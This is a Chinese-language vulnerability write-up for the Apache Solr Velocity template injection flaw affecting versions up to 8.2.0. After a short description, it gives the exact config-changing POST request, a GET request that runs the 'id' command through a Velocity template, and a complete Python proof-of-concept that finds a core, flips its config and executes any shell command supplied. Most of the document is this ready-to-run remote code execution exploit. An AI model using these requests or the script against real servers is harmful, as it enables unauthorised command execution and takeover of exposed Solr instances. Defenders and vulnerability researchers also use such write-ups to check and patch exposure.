漏洞描述

  1. Apache Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-serviceAPI接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。<br /> 国外安全研究员 @s00py发布了Apache Solr velocity模板注入漏洞及exp,目前官网还未发布对此漏洞的安全补丁。<br />[https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt](https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt)

影响版本

<=8.2.0(最新版本)

漏洞复现

首先,访问Core Admin得到应用Path路径
image.png

Set “params.resource.loader.enabled” as true

  1. POST /solr/test/config HTTP/1.1
  2. Host: solr:8983
  3. Content-Type: application/json
  4. Content-Length: 259
  5. {
  6. "update-queryresponsewriter": {
  7. "startup": "lazy",
  8. "name": "velocity",
  9. "class": "solr.VelocityResponseWriter",
  10. "template.base.dir": "",
  11. "solr.resource.loader.enabled": "true",
  12. "params.resource.loader.enabled": "true"
  13. }
  14. }

image.png

执行命令

  1. GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
  2. Host: localhost:8983

image.png

poc:
solr-velocity-rce.py

  1. import requests
  2. import sys
  3. import json
  4. def get_core(url):
  5. solr_url = url + '/solr/admin/cores?wt=json&indexInfo=false'
  6. r = requests.get(solr_url,verify=False,timeout=30)
  7. core_name = list(json.loads(r.text)["status"])[0]
  8. core_url = url + "/solr/" + core_name + "/config"
  9. set_config(core_url)
  10. def set_config(core_url):
  11. headers = {
  12. 'User-Agent': "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; "
  13. ".NET CLR 2.0.50727)",
  14. 'Content-Type': 'application/json'
  15. }
  16. data = """
  17. {
  18. "update-queryresponsewriter": {
  19. "startup": "lazy",
  20. "name": "velocity",
  21. "class": "solr.VelocityResponseWriter",
  22. "template.base.dir": "",
  23. "solr.resource.loader.enabled": "true",
  24. "params.resource.loader.enabled": "true"
  25. }
  26. }
  27. """
  28. r = requests.post(core_url,data=data,headers=headers,verify=False,timeout=30)
  29. if r.status_code == 200:
  30. print (r.content)
  31. exp_url = core_url[:-7]
  32. #print (exp_url)
  33. cmd = sys.argv[2]
  34. send_exp(exp_url,cmd)
  35. else:
  36. print ("set config false!\n")
  37. def send_exp(exp_url,cmd):
  38. exp_url = exp_url + "/select?q=1&&wt=velocity&v.template=custom&v.template.custom" \
  39. "=%23set(" \
  40. "$x=%27%27)+%23set($rt=$x.class.forName(" \
  41. "%27java.lang.Runtime%27))+%23set(" \
  42. "$chr=$x.class.forName(%27java.lang.Character%27))+%23set(" \
  43. "$str=$x.class.forName(" \
  44. "%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(" \
  45. "%27" + cmd + "%27))+$ex.waitFor(" \
  46. ")+%23set($out=$ex.getInputStream())+%23foreach($i+in+[" \
  47. "1..$out.available(" \
  48. ")])$str.valueOf($chr.toChars($out.read()))%23end"
  49. r = requests.get(exp_url,verify=False,timeout=30)
  50. print (exp_url)
  51. print (r.content)
  52. if __name__ == '__main__':
  53. url = sys.argv[1]
  54. print("\n[+] python %s http://x.x.x.x:8983 command\n" % sys.argv[0])
  55. get_core(url)